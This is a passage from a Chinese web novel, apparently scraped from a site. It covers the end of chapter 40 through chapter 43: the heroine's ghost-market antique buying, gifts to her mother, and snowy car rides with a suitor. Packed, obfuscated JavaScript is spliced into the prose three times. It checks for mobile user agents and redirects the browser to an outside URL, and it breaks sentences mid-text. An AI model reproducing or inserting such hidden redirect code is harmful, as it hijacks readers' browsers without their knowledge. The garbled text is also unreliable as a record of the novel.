时墨指尖一动,按住他的三根手指,只留下两根,又添了三根,意思是二百三。 摊主皱了皱眉,手指又动了动,比了个二百五。 时墨摇了摇头,收回手,放下碗就要走。 摊主连忙拉住她,笑着摆了摆手,在袖子里拍了拍她的手,算是应了二百三的价。 时墨点点头,收回手,从兜里掏钱递过去。 老头接过钱,麻利地把碗包好,递给她,意味深长地笑了笑。 时墨也回以一笑,把碗装进布包里,起身离开。 时墨本来不打算在这里买太多的东西,免得露富,但这会她却有了一个计划,拉着时建军继续往下一个摊位走。 【宿主,左边那个摊位,那几个青铜器。】系统的声音忽然变得严肃,【橙色警示!生坑货,是刚出土的,还有两个玉佩是派出所挂了号的赃物,热货,千万别碰,沾了就惹麻烦!咱们立刻绕开!】 时墨目光一扫,果然看见那个摊位的摊主鬼鬼祟祟的,东西上还带着新鲜的湿泥土。她立刻移开目光,拉着时建军往另一边走,半分眼神都没多给。 【宿主做得对。】系统赞赏道,【这种货碰不得,沾上就是大事。】 【放心,我心里有数。】 接下来的半个多小时,时墨在系统的指引下,一边甩开跟踪的人,一边继续捡漏。 【前方,绿色光点!清代端砚,真品,标价二百二,可入!】 拿下。 【右边,红色光点!清代山水小品,真品,标价四百,值!】 拿下。 【左边,绿色光点!古钱币五枚,真品,标价八十,可入!】 拿下。 凌晨四点,时墨的布包已经塞得满满当当。她算了算超额部分,还差两百左右就够了。 【宿主,前方十米摊位,左数第二个青花碗!元代青花缠枝牡丹纹碗!全品!真品!传世熟坑!当前市场价一万二!摊主当成清末仿品,底价五十块!】 时墨的脚步猛地一顿,心脏狠狠跳了一下。 元青花?! 那可是后世动辄上亿的顶级瓷器!就算是民窑小件,也是可遇不可求的珍品! 她稳住心神,面上半点波澜都没露,慢悠悠地走了过去。 摊主是个六十来岁戴旧毡帽的老头,面前摆着七八件瓷器。那个元青花碗就混在里面,看着毫不起眼。 时墨蹲下身,先拿起旁边两个盘子翻了翻,才拿起那个碗,手电光贴着釉面扫过——碗口微撇,釉色泛着温润的鸭蛋青,青花发色浓艳,带着自然的铁锈斑,缠枝牡丹纹笔法流畅有力,底部无款,一圈自然的火石红,开门到代的真品。 时墨心里翻江倒海,面上却不动声色。她把碗放回原处,又拿起旁边一个普通的青花盘看了看,又将摊子其他瓷器都看了看,跟摊主划价:全部都要了,多少? 老头挑眉,比划了个二百五。 时墨嘴角一抽:一百。 真当我是二百五了。 时墨冲老头指着碗沿一道极细的冲线。 老头凑过来眯着眼看了半天,才发现那道不仔细看根本发现不了的裂纹,脸色顿时垮了下来:一百八。 一百是不可能的,好几件东西呢,哪怕是他从家里的地里挖出来的,但也不至于这个价就出手了,能多要点是一点儿,这几个碗盘看着就漂亮,光是这个就值钱了。 时墨没说话,再次抬起袖子,伸出手跟他袖里议价,指尖碰了碰,比了个一百一十块。 老头摇头,比了个“一百六”。时墨又比了个“一百二”,老头犹豫了半天,最终在她袖子里拍了一下,算是应了。 时墨掏出一百二十块钱递过去,将所有的碗盘都包好,放进布包最里层。 起身的时候,时墨的手激动地微微发抖怕人看出异样赶紧插兜。 元青花。 带所有其他盘子一块才一百二! 她抱着这个碗,就等于抱着后世一套大别墅! 【宿主,冷静!冷静!您的心率又超标了!】系统着急提醒,【深呼吸!别让人看出来!】 时墨深吸一口气,压下翻涌的情绪,拉着时建军继续往前走。 【宿主,有两人在跟着你,距离八米。】系统持续播报,【但他们好像只是盯着,没敢靠近——估计是看您太懂规矩,不好下手。】 时墨心里有数,继续在人群里穿行,偶尔看看摊子,偶尔问问价,让人摸不清她的节奏。 凌晨五点,天边开始泛起鱼肚白。 鬼市的人渐渐少了,摊主们开始收拾东西。 【宿主,还剩最后八百块,那边还有个摊子——】系统忽然说,【那个老头,角落摊位的青铜鼎!西周早期饕餮纹小鼎,祭祀明器,全品无修,真品!当前市场价两万元!摊主当成民国仿品,底价二百块!】 时墨脚步又是一顿。 西周?! 她看向那个摊子,瘦小的老头正蹲在角落里,面前铺着块破布,上面摆着七八件东西,其中有一个巴掌大的青铜鼎,锈迹斑斑,看着毫不起眼。 她走过去,蹲下,拿起铜鼎翻看,手感沉实,锈色入骨,三足,双耳,腹部的饕餮纹清晰古朴,底部的范线规整自然。 她掂了掂,随手放下,比划了一下价格:六十。 老头伸出手比划,时墨放下东西也伸出手。 两只手在袖□□握,最终九十块成交。 时墨付了钱,把铜鼎包好塞进布包,这是她真是她今晚买的最值的一件。 天边已经泛起了鱼肚白,雾气渐渐散了,胡同里的摊主开始收拾东西,鬼市有规矩,天一亮就散市,绝不多待。 时墨算了算手里的钱,之前买黄金花了一千九百三十五,今晚在鬼市花了四千二百零八,给了系统三倍加班费,兜里还剩一百零二块,依旧超了限额八十五块。 【宿主,温馨提示,您当前可支配现金102元,超出限额85元,距离清零时限还有六个半小时,请尽快处理超额部分。】 就剩八十五,好说好说。 忽然,时墨感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250054|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人在看她。抬头朝感知方向看去,就见不远处的胡同口,站着一个熟悉的身影。 微微眯眼细瞧。 晨曦的微光里,谢时昀穿着深灰色风衣,身形修长挺拔,手里拿着一卷刚收的字画,目光越过层层人群,落在她身上。 两人视线对视上,谢时昀眼里闪过一丝惊讶,随即冲她几不可察地点了点头,算是打过了招呼。 时建军这时也看见了他,刚要开口喊人,被时墨一把按住了手。“哥,别出声。鬼市的规矩,遇着熟人也不能打招呼,就当不认识,别坏了人家的兴致,也坏了规矩。” 时建军赶紧闭上嘴,跟着时墨往胡同口走。 擦肩而过的时候,时墨能感觉到谢时昀的目光一直落在她身上,两人走过时,对方极轻地往她身侧让了半步,避开了她怀里的布包。 走到胡同口,天已经蒙蒙亮了。 时墨从布包里掏出了那串沉香木朝珠,一边跟胡同口的两位穿戴严密的人打手势要走,一边将朝珠递过去:麻烦几位帮忙互送一下。 两位戴着整张脸半张脸,只露出眼睛的面罩的高壮人士对视了一眼,点点头,接过来朝珠,其中一个凑过来看了看,低头闻了闻,比划了一下:你们走吧,放心,不会有人跟着你们的。 时墨这才狠狠松口气,拉着一头雾水的时建军就走了。 时建军回到自行车上锁的地方,驮着时墨往回赶。路过一个卖吃食的小摊时,时墨让哥哥停下来,买了几个热腾腾的包子。 “哥,先吃点东西垫垫。” 时建军接过包子,咬了一口,含糊不清地问:“妹,你买好了?” “嗯。”时墨啃着包子,看着渐渐散去的鬼市人群。 时建军沉默了一会:“妹,刚才你干嘛把买的木串珠给门口的那两人?” 时墨淡淡一笑道:“破财免灾啊!哥。” 时建军恍然,可还是心有余悸:“真的没事儿吗?” 时墨笑着站起身,拍了拍时建军的胳膊,“哥,没事儿的,放心吧。” 能支起这么大一个鬼市的人,会解决不了她被人盯上这么点麻烦?她不相信。 【宿主,还有八十五块超额现金,尽快处理哦,不然就要清零了。】 时墨心里早有了主意:【剩下钱全给你发奖金了,加班费之外的额外犒劳,今晚辛苦了。】 系统沉默了一秒,然后发出一声惊喜的尖叫—— 【真的吗宿主?!您是说真的吗?!】 【真的。】时墨笑了,【反正花不完也要被清零,不如给你,这点钱就当是奖金了。】 【宿主!您是我见过最大方的宿主!!!】系统激动得手舞足蹈,【我、我这就申请接收!】 时墨忍不住笑出声:【行了行了,别激动,快接收吧,别到时候系统自己清零了。】 【收到!接收中!接收成功!!!】系统的声音里喜悦都要溢出来,【宿主您放心,以后您有任何需要,小七赴汤蹈火在所不辞!您让我往东我绝不往西,您让我扫描我绝不偷懒!】 【好,记住你说的话。】时墨笑着把包放在怀里,“哥,走了,回家。” 时建军几口吃完包子,抹了抹嘴,蹬上自行车。 时墨坐在后座上,抱着鼓鼓囊囊的布包,靠在她哥后背上。 清晨风吹在脸上,带着凉意,却让人格外清醒。 【宿主。】系统的声音忽然响起,变得很轻很轻,【谢谢您。】 时墨笑了笑:【不客气,你应得的。】 金色的阳光洒在斑驳的楼墙上,有早起的人已经在楼下生炉子,炊烟袅袅升起。 时墨闭上眼睛,嘴角微微弯起。 这一晚,赚翻了! 41. 第 41 章 时墨抱着鼓鼓囊囊的布包进了屋,轻手轻脚地关上门,整个人往床上一倒,长长地舒了口气。 布包放在地上,鼓囊囊的一团,里头装着二十多件宝贝——元青花碗、西周铜鼎、康熙青花碗、何绍真迹、清代端砚……随便拿出一件,搁后世都是好宝贝。 可惜她的四合院还没收拾妥当,等收拾好了,再把这些宝贝搬过去,妥帖存放。 可她现在手里只剩十七块钱可供支配。 啧,真穷啊。 时墨看着天花板,忽然“噗嗤”一声笑了出来。 【宿主,您笑什么?】系统好奇地问。 【我在想,我这算不算史上最穷的富翁?】 时墨笑着翻身蹲坐在地上,把布包打开,一件一件往外拿东西,小心地放进柜子里。每一件都仔细放好,最后锁上柜门,拍了拍手。 十七块钱。 穷是真穷,开心也是真开心。 时墨洗完手回来,打开另一个抽屉,拿出昨天在百货大楼买的那些金饰——一个二十二克的光圈手镯,一条十五克的项链,还有一对六克的耳环。 金灿灿的,在晨光里泛着柔和的光,这颜色越看越喜欢! 时墨拿起手镯,在手腕上比了比,觉得样式虽然比不上后来,但看着也不错。 时墨推开门,李秀兰这会儿正在厨房忙活,听见动静回头一看:“哟,这么早就醒了?不多睡会儿?” “妈,您过来,我有东西给您。”时墨一脸神秘地冲她招手。 李秀兰用围裙擦擦手,走过来好奇道:“啥东西?整的神神秘秘的?” 时墨把藏在后背的手镯递到她面前。 李秀兰瞬间愣住了。 “这、这……”李秀兰的手都不知道往哪儿放,“你这孩子,这是干啥?!” “给您买的。”时墨拉过她的手,把手镯套上去,“您试试圈口合不合适。” 李秀兰看着手腕上的金镯子,眼眶一下子就红了。 “真的是,花这冤枉钱干啥?!”她嘴里嗔怪着,手却舍不得把镯子摘下来,翻来覆去地看,手腕又上下颠了颠,“估计有二十多克,这得多少钱吧?是不是得好几百?” “妈你真厉害,掂量下就能知道克重,二十二克。”时墨笑着又从衣兜里拿出项链和耳环,“还有这个都是给您的,邻居王婶有个金戒指没少炫耀,咱也炫一炫。” 李秀兰这下彻底愣住了。 一条项链,一对耳环,一个手镯,这些加起来快两千块了! “不行不行不行!”李秀兰连连摆手,把镯子往下撸,“妈不戴,你自己留着,以后当嫁妆!” “哎呀,我结婚早着呢。”时墨按住她的手,摸着上面干活多年起的茧子,佯装生气,“这是我专门给您买的,您要是不收,我可真生气了。” 李秀兰看着女儿认真的眼神,眼里含着的泪险些落下。 她抬起手,摸了摸时墨的脸,声音有些发颤:“我闺女……我闺女长大,懂事了,知道疼妈了……” 时墨被她弄得也有些鼻酸,抱住她的胳膊:“妈,您别哭啊,高兴的事儿。等以后我赚大钱,咱天天换着样戴!” “净瞎说!”李秀兰抹了抹眼角,又低头看手腕上的镯子,笑得合不拢嘴,“我活这么大岁数,还是头一回戴这么重的金镯子。我们车间那些姐妹,也就过年过节戴个三五克的小戒指,我这个……” 她忽然想起什么,脸色一变,赶紧把镯子撸下来:“不行不行,这太招摇了!我戴着去厂里,还不得被人说闲话?财不外露,财不外露!” 时墨哭笑不得:“妈,您自己家里戴戴还不行?逢年过节、走亲戚的时候戴,多体面。” 李秀兰把金饰都收进红布包里,塞进衣柜最里面的樟木箱里,又拿块布盖好,上了锁,嘴里还不停念叨,“逢年过节戴一戴,平时可不能戴。咱们家刚出了风头,再戴这么重的金饰出去,背后指不定有人说三道四,万一再眼红咱家,反倒多出事端来。” 时墨点点头,觉得她妈说得有道理。 李秀兰把首饰收好,又拉着时墨的手,心疼地问:“墨墨,你给妈买这么多东西,自己手里还有钱吗?” “有。”时墨面不改色,“还剩……不少呢,够花。” 十七块,确实“不少”——七块钱能买好几斤肉,够吃几天了。 李秀兰还是不放心:“有就行,不够了一定跟妈说,别自己硬扛着。妈和你爸工资虽然不高,但供你零花还是够的。” “知道了妈。”时墨笑着应下,“我你还不了解,没了指定不跟你客气。” * 接下来的几天,时墨过得无比充实。 最让她开心的是,终于有时间好好写小说了。 之前忙着应付各种事,稿子断断续续的,进度一直拖着。现在心静下来,思路也顺了,写小说的速度也快得惊人,一天稳定几千字,没多久就把后续稿子全写完了。 一周后,她把新写的稿子整理好,去了出版社。 林慧君见到她,眼睛都亮了:“时墨!你可算来了!我正想找你呢!” 时墨把稿子递过去:“林姨,这是新写的部分,您看看。” 林慧君接过来,随手翻了几页,连连点头:“不错不错,状态很好!比前面写得还顺!” 她合上稿子,看着时墨,关心地问:“最近家里还好吧?学习忙不忙?” “都挺好的。”时墨想了想,还是把话说了出来,“林姨,我想跟您问个事。后续要是再有稿费或者版税打款,能不能提前告诉我一声大概的日期?” 林慧君愣了一下:“怎么了,急着用钱?是不是家里出什么事了?要是用钱急,我先跟社里申请,给你预支一部分稿费?” “不是不是。”时墨连忙摆手,“就是……家里最近事儿多,我前段时间买了个小院子,想攒钱收拾一下,得提前算好钱怎么用,免得手忙脚乱的。” “原来是这样!”林慧君恍然大悟,笑着打趣,“我们时墨都成小房主了?行,没问题,回头我跟财务那边打个招呼,有消息提前通知你。不过具体日期有时候也说不准,银行转账流程慢,只能估摸大概。” “大概就行,谢谢林姨。”时墨松了口气。 有了提前通知,她就有足够的时间处理超额的钱,再也不用像这次一样,大半夜跑鬼市急着花钱了。 那地方,现在的她还是少去。 * 日子过得飞快,转眼就到了十一月。 首都的天一天比一天冷,西北风刮得窗户纸呼呼响,入冬的第一场雪,毫无征兆地落了下来。 雪来得又急又猛,上午还只是零星飘着,中午就开始大片大片地往下落,到了下午的时候,地上已经积了厚厚一层。 学校怕路滑出事,提前两个小时放了学。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254385|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时墨踩着积雪往家走,雪花落在帽子上、肩膀上,凉丝丝的。到家的时候,整个人都快成雪人了。 李秀兰赶紧把她拉进屋,用毛巾给她擦头发:“哎哟,这雪下得可真大!明天也不知道能不能停。” “看这样子不像能停的,明早上学得早点出门。” 这雪果然下了整整一夜。 第二天早上,整个世界都白茫茫一片。 时墨推开窗一看,愣住了。 院子里的积雪足有半尺厚,胡同里的雪更深,有的地方被风一吹,甚至堆到了膝盖。 “我的天,这雪下得也太大了!”时建军扒着窗户看了一眼,回头就跟时墨说,“妹,今天自行车肯定骑不了了,哥陪你步行去学校,我给你背书包,保准摔不着你。” “这雪确实不小。”李秀兰站在窗户边发愁,“墨墨,今天要不请假算了?” “我没事,前些日子请了好几次,总请假不好。”时墨穿上厚棉袄,戴上手套,站在门口道。 时建军已经穿戴整齐,又翻出一条厚围巾,把时墨围得严严实实,只露出两只眼睛,“妹,走吧!” 兄妹俩裹得严严实实的出了门,踩着积雪往胡同口走。 雪还在下,纷纷扬扬的,视线里全是白的。细细的雪沫子打在脸上,凉飕飕的。 路上的积雪被踩得实实的,滑得很,时建军一步一探地走在前面,给时墨踩出脚印,嘴里还不停叮嘱:“慢点走,踩着我的脚印,别往边上滑。” “哥,要不咱们还是等公交吧?”时墨提议。 “等啥公交,这种天气公交早挤满了,等半天也挤不上去。”时建军摇摇头,“走走吧,就当锻炼身体,实在不行哥背你。” 时墨笑道:“哥,我又不是三岁小孩儿。” 两人走到路口,正要往大路上拐,忽然听见一声汽车喇叭—— “嘀——” 一辆黑色轿车停在路口,车窗摇下来,露出谢时昀的脸。 他今天穿着一件深棕色大衣,围着条藏青色的围巾,衬得眉目愈发清俊。看见他们,笑着招呼道:“时墨,建军,上车吧,我送你们。” 时建军愣了一下,立刻笑着摆手:“谢哥?你怎么在这儿?” “今天要去单位办点事,正好路过这边。”谢时昀说得云淡风轻,“想着能不能碰上你们,没想到还真碰上了。上来吧,雪太大了,路不好走。” 时建军愣了一下,立刻笑着摆手:“不用了,我们俩走着就行,就当锻炼身体了!” “别跟我客气。”谢时昀推开车门下来,撑着伞走到两人面前,目光落在时墨冻得微红的眼尾上,语气里带着不易察觉的关切,“雪还在下,路滑得很,到学校步行过去至少要半个多小时,别再冻感冒了,耽误上课。上车吧,正好顺路,不麻烦。” 前面驾驶座的司机听到这话,心里暗自好笑,却看破不说破。 谢家到单位根本不走这条道。 老板一大早就催着他把车开过来,在路口等了快二十分钟了,这会儿倒说是“正好路过”。 时建军看着漫天的大雪,又看了看身边裹得严严实实的妹妹,有点犹豫了。他自己走没关系,可妹妹一个女孩子,雪这么大,万一真冻感冒了咋整。 “妹,要不……咱们就坐谢哥的车?”时建军看向时墨询问。 时墨看了眼谢时昀。 路过?这么巧? 42. 第 42 章 但人家都把话说到这个份上了,再拒绝就显得太刻意了,只能点了点头,对着谢时昀礼貌道谢:“那就麻烦谢哥了。” “不麻烦,举手之劳。”谢时昀眼里闪过一丝不易察觉的笑意,连忙拉开后车门,先让时墨坐进去,又让时建军上了车,自己才绕到副驾驶坐好,吩咐司机,“开车吧,慢点,稳着点。” 车里开着暖气,暖意瞬间裹了上来,驱散了一身的寒气。 车子缓缓开动,碾过积雪,发出细碎的沙沙声。 “这么大的雪,你们怎么没坐公交?”谢时昀问,目光透过后视镜落在时墨身上。 “公交挤不上。”时建军搓了搓冻僵的手,一开口就打开了话匣子,对着谢时昀就唠了起来:“我妹高三,不能总请假,只能走着去。还好碰上谢哥,不然得走好久。” “是啊,今年的雪来得早,也下得大。”谢时昀笑着应声,话头一转,就落到了时墨身上,“时墨最近学习累不累?” “还行。”时墨礼貌地回答。 时建军跟着接话道:“谢哥你不知道,我看她在家都不怎么复习,考试照样第一,也不知道那小脑袋瓜咋长的!不光学习,还写小说呢!前阵子出版社还跟她签合同,都要出书了!” 时墨:“……” 哥,你话太多了。 谢时昀眼里带着笑意,看着时墨:“这么厉害?” “我哥夸张了。”时墨谦虚道,“就是正常学,劳逸结合。” “才不是夸张!”时建军越说越来劲,“谢哥你不知道,我妹不光学习好,眼光还毒!前阵子她去鬼——唔!” 时墨在后座狠狠掐了他后腰一把。 时建军疼得倒吸一口凉气,后半句话生生咽了回去。 “去什么?”谢时昀问。 “去……去公园看日出!”时建军瞎编道,“跟同学一起,看日出!” 时墨坐在后座,听得嘴角直抽。非常想说一句:哥,咱没话,可以不硬聊。 谢时昀看了时墨一眼,眼里有淡淡的笑意,却没再追问,反而换了个话题。 “时墨平时有什么爱好吗?” “看书,睡觉。”时墨简短地回答。 “我妹确实觉多,她在家没人打扰能睡到中午,我觉得我妹是平时太费脑子了,我听说睡觉补脑……” 身为话题中心的时墨,反倒一句话都插不上,只能靠在车窗上,看着外面漫天飞舞的大雪,无奈地扶额。 二十分钟后,车稳稳停在了学校门口。雪还在下,校门口的路已经被扫出来了,不少学生正裹着厚衣服往学校里跑。 时墨推开车门,冲谢时昀道谢:“谢谢谢哥,今天真是麻烦你了。” “不客气。”谢时昀看着她,目光温和,“放学的时候雪要是还没停,给我打个电话,我过来接你。” “不用,太麻烦你。”时墨连忙摆手,“我爸下午会来接我的,就不耽误你办事了。” 谢时昀也不勉强,只点了点头:“那行,要是有什么事,随时给我打电话。快进去吧,别冻着了。” 车子缓缓开走,时建军还在那儿挥手。 时墨拽了他一把:“哥人都走远了,别挥了。” 时建军这才放下胳膊:“谢哥人真好啊,还特意送咱们……” 时墨没接话,心里跟明镜似的。 谢时昀的心意,她不是看不出来,只是她现在压根没空想这些情情爱爱,只能装作不懂,保持着礼貌的距离。 * 一上午的课,雪就没停过。 原本细细的雪沫子,又变成了大片的鹅毛雪,窗外白茫茫的一片,连对面的教学楼都快看不清了。 下午第三节课,班主任匆匆走进教室,拍了拍手,高声宣布:“同学们,接到教育局通知,因为暴雪天气,路面积雪严重,为了大家的安全,全市中小学停课一天。后天如果雪还不停,就等到周一再上课。大家放学路上注意安全,别在路上逗留!” 教室里静了一秒,随即爆发出震耳欲聋的欢呼声。 “太好了!” “放假啦!” “万岁!” 时墨也忍不住笑了,难得的假期,正好可以去四合院看看,收拾一下屋子,顺便把淘来的宝贝搬过去。 下午的课提前一个小时就结束了,学生们欢呼着冲出教室,恨不得立刻飞回家。 时墨收拾好书包,刚走出教学楼,就听见有人叫她。 “时墨!” 她回头一看,是秦野:“怎么了,是有什么事?” 秦野脸冻得微红,快步走过来,眼神里带着藏不住的关心:“时墨,下这么大雪你怎么回家,有人接吗?” 时墨摇摇头:“没有,我去等公交车。” “这天气公交车慢,也不好等,你要不跟我一起走吧?”秦野看似理由充分,紧接着说出邀请,“我家车来接我,正好顺路送你一程。” 时墨刚要开口婉拒,一道温和的声音就从旁边传了过来。 “时墨。” 她转过头,谢时昀正撑着一把黑伞,站在不远处的雪地里,身上落了一层薄薄的雪,显然已经等了有一会儿了。 他一步步走过来,伞檐压得低,走到时墨身边,自然地把伞举到了她的头顶,对着秦野礼貌地点了点头,又落回时墨身上,微微一笑:“你哥今天加班,让我来接你。走吧,车在校门口等着。” 时墨看着他,又看看旁边愣住的秦野,忽然明白了什么。 “秦野谢谢你,不用麻烦了,我哥朋友来接我,我回了啊。”她冲秦野摆摆手,然后跟着谢时昀往校门口走。 走出几步,她回头看了一眼——秦野还站在原地,脸上的表情有些复杂。 谢时昀走在她身侧,伞往她这边倾了倾,挡住时墨的视线。 “你哥确实让我来接的。”他轻声说,语气里带着一丝解释的意味,“他今天加班走不开,正好我下午没事。” 时墨点点头:“嗯,又麻烦你了。” “不用跟我太客气。” 雪还在下,纷纷扬扬的。 谢时昀正看着前方的路,伞稳稳地撑在她头顶,自己的半边身子都露在雪里。 察觉到她的目光,他转过头,笑问:“怎么了?” “没什么。”时墨收回目光。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260081|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢时昀笑了笑,没说话。 两人并肩走进雪里,身后留下一串深浅不一的脚印。 秦野看着谢时昀举在时墨头顶的伞,回想起对方刚才看时墨的眼神,心一沉,随即又觉得自己想多了,对方年龄看着不小了,应该是他想多了。 * 时墨走到校门口,对着谢时昀语气礼貌而疏离:“谢谢谢同志特意过来,不过不用麻烦了,我坐公交回去也挺方便的。” 她没打算跟谢时昀走,秦野的好意她婉拒了,自然也没道理转头就坐上谢时昀的车,平白欠了人情。 谢时昀握着伞柄的手紧了紧,伞檐又往她的方向倾了倾,将漫天风雪全挡在了外面,自己的半边肩膀则都露在了雪里。 谢时昀语气温和地明说:“时墨,你哥今天加班走不开,千叮咛万嘱咐,一定要把你安全送到家。我受人之托,终人之事。你要是真不想坐车,我可以陪你坐公交回去。” 时墨侧头盯着谢时昀笑道:“哦?我倒是不知道谢同志和我哥一个单位。” 谢时昀听出时墨话中的嘲讽,垂眸解释道:“下午顺路经过机械研究所……” “哦,又是顺路。”时墨明白似地点点头,“原来谢同志家住在罗马。” 见谢时昀吃瘪,时墨这才闭嘴,她讨厌被人计划、安排。 谢时昀知道这次是自己关心过头,做事急了,殷勤的为时墨打开后座车门:“不管怎么说,今天我答应了你大哥,总要给他一个交代。” 时墨颔首,弯腰坐进车里:“那就麻烦谢同志了。” 谢时昀替她关上车门,从另一边上车,随时墨一起坐在了后座。 车子缓缓驶离学校,雪还在下,大片大片落在车窗上,很快就被雨刷刮去。 上车前他让司机把暖气调得更暖了些,等到时墨坐稳后,就从保温壶里倒了杯温热的红糖水,递到她手里:“先喝点暖暖身子,刚才在外面站着聊半天,别冻感冒了。” 时墨接过杯子,指尖触到温热的杯壁,却没急着喝。 她垂眼看了看杯子里的红糖水,又抬眼看向谢时昀,似笑非笑:“谢同志准备得倒是挺周全。” 谢时昀动作微顿。 时墨低头喝了口红糖水。 暖意顺着喉咙滑下去,驱散了一身的寒气。 “谢谢。”她说,“今天麻烦你两回了,回头让我哥请你吃饭。” “不用这么客气。”谢时昀笑了笑,目光落在她沾了点雪沫的发梢上,“邻居之间互相帮忙,应该的。” 时墨瞥了谢时昀一眼,笑着点点头。 “早上叫我谢哥,现在又成谢同志了?”谢时昀语气轻松带着点不易察觉的试探 时墨抬眼看他:“早上随我哥叫,现在得看场合。毕竟今天麻烦您好几次,该有的尊重得有。” “您?”谢时昀失笑,“我有这么老?” 时墨歪了歪头,打量他两眼,那目光坦然得近乎放肆,却又让人挑不出毛病。 “谢同志比我大九岁吧?”她语气平淡,陈述事实,“我叫一声‘您’,不算过分。” 谢时昀脸上的笑意僵了一瞬。 43. 第 43 章 九岁。 他当然知道自己比她大九岁。但此刻被她这样轻描淡写地摆在台面上,像一记不轻不重的提醒。 他第一次觉得,这个数字有点刺眼。他怕不是在她眼里,只是个年长许多的长辈。 他喉结动了动,半天没说出话来,车厢里的气氛瞬间安静了几分。 “不过谢同志要是不习惯,我还是叫谢哥。”时墨收回目光,又喝了口红糖水,语气随意得像在说今天天气不错,“称呼而已,怎么顺口怎么来。” 谢时昀看着她,忽然觉得自己刚才那一瞬间的在意,在她眼里大概毫无意义。 她根本不在意。 这个认知让他心里有点涩,又有点说不清的……庆幸。 “随你。”他听见自己说。 时墨嗯了一声,没再继续这个话题。 沉默了几秒,谢时昀找了个话题:“你买的那处院子,这种天气,雪积得厚,得尽快清理。我清早清理门口积雪时,顺道帮你把院门口的雪清了。我看你院里的石榴树,枝上雪压得厚,久了枝桠怕被压折。你要是不尽快过去,树上的石榴也该吃不了了。” 时墨挑了挑眉:“谢哥起得挺早。” “习惯了。” “那多谢了。”时墨点点头,“我明天让我哥过去一趟。” “我离得近,更方便。你要是忙,院门钥匙放我那儿,我顺手就清了。” 时墨看了他一眼,故作疑惑道:“谢哥,你好像对我那个院子挺上心。” 谢时昀被她这一眼看过来,仿佛心里的想法被戳破。 但他面上不显,只是笑了笑:“邻居嘛,互相照应是应该的。” “也是。”时墨收回目光,语气随意,“那以后有事就麻烦谢哥了。” 谢时昀听着她这理所当然的语气,心里忽然有点想笑。 明明是他在帮她,她却像是在给他面子。 但他还偏偏……挺受用。 “对了,谢哥。”时墨忽然换了话题,“你那个外贸公司,现在业务怎么样?” 谢时昀微微一怔。 时墨这话题跳得真快。 谢时昀顺着她话答道:“国家刚批了外贸体制改革报告,政企分开,简政放权,外贸经营权下放到地方,路子宽了不少。正好赶上沿海城市开放,机会比前两年多。” 时墨点点头,又问:“那你们主要出口什么品类?纺织品?工艺品?还是机电?” 谢时昀眼里的欣赏又深了几分:“都有涉及。纺织品和工艺品走量,机电产品利润高,但品控难抓。” “品控确实是问题。”时墨指尖轻轻敲了敲杯壁,“乡镇企业想出口,但质量跟不上。与其盯大厂,不如找经营困难的小厂,你给技术标准、原材料,他们按你的要求生产,相当于代工厂,品控反而好抓。” 谢时昀怔了一下。 这个思路,他想了许久才想明白。她竟随口就说了出来。 “你接着说。”他看着时墨,眼里有光在闪。 时墨注意到他眼神的变化,笑了笑:“我瞎琢磨的,谢哥听听就行。不过外贸这块确实是风口,用出口赚的外汇引进技术,改造老厂,路子能越走越宽。我看报纸上说,很多厂都在技改,设备更新是趋势。比如塑料模具,国内还是空白,要是能引进,前景应该不错。” 谢时昀看着她,半天没说话。 塑料模具——正是他最近在跟香江公司谈的项目。 “你对这个感兴趣?”他语气里带着试探地问道。 时墨摇摇头,靠在椅背上:“我懒,费脑子的事干不来。就是看报纸瞎聊。” 谢时昀看着她,忽然笑了。 “时墨,你知不知道,你每次说自己懒的时候,最不像个懒人。” 时墨愣了一下,随即弯了弯唇角:“谢哥,你这是在夸我还是损我?” “夸你。” “那我收下了。” 车子拐进胡同口,缓缓停下。 时墨放下空杯子,推开车门,冷气扑面而来。她回头冲谢时昀道谢:“谢哥,今天又麻烦你了。快回去吧,雪越下越大了。” “不麻烦。”谢时昀看着她,“要是去院子里收拾,缺什么工具,或者需要帮忙,随时叫我。我要没在家,钥匙在门口石狮子脚下,你直接进院拿。” 时墨点点头,推门下车。 走出几步,忽然回头。 车子还停在原地,谢时昀隔着车窗看她,见她回头,立刻抬手冲她挥了挥,眼底的温柔满到快藏不住溢出来。 时墨也挥了挥手,转身进了楼道。 谢时昀看着她的背影消失在楼道里,才轻轻靠回座椅,闭上眼,叹了口气。“走吧。” 司机发动车子,从后视镜里看了一眼自家老板,忍不住问道:“老板,您这大雪天等了快一小时,就为了送人回家。还起大早帮人清了雪。怎么不跟她说实话啊?” 谢时昀没回答。 他只是靠在座椅上,闭上眼睛。 九岁。 他从来不在意自己的年龄。 但今天,她轻描淡写说出那个数字的时候,他第一次觉得,自己老了。 不是年纪老。 是……不够年轻。 不够年轻到可以理直气壮地站在她面前,不用任何理由,不用任何借口。 